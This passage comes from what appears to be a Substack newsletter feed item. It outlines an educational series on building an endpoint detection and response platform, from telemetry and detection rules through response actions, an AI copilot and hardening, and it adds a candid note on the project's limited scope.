(ETW), and macOS, one platform at a time</p></li><li><p><strong>Transport and pipeline</strong> &#8212; buffering, mTLS, and getting events into storage (Kafka &#8594; ClickHouse)</p></li><li><p><strong>Telemetry depth</strong> &#8212; file, network, and persistence events, plus Kubernetes/container support</p></li><li><p><strong>Detection</strong> &#8212; Sigma-as-code rules and behavioral detection</p></li><li><p><strong>XDR correlation and identity</strong> &#8212; stitching alerts into incidents, including identity-based detection</p></li><li><p><strong>Response</strong> &#8212; approved, auditable actions like isolating a host</p></li><li><p><strong>Dashboard and AI copilot</strong> &#8212; the analyst-facing layer, including red-team testing of the copilot itself</p></li><li><p><strong>Hardening and capstone</strong> &#8212; anti-tamper concepts, packaging with Helm, and a final coverage report</p></li></ol><p>Each issue corresponds to a specific git tag in the companion repo, so you can check out exactly the working state that issue describes and follow along in real code.</p><div><hr></div><h2>An Honest Note</h2><p>This is a <strong>demoable vertical slice</strong>, not a commercial product. It is not a claim that these labs produce a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. Most demos run against replay fixtures rather than live kernel hooks, and the goal is to teach you <em>how these systems are layered and why</em>, using honest labs and clearly scoped stubs &#8212; not to hand you an enterprise security platform.</p><div><hr></div><h2>Start Building</h2><p>The full architecture only makes sense once you&#8217;ve laid the foundation. <strong>Issue 01 &#8212; Foundations, Threat Model, and OCSF</strong> is where it begins.</p><p>If you&#8217;ve ever wanted to understand security tooling from the inside out &#8212; not as a user, but as the engineer who built it &#8212; start there.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>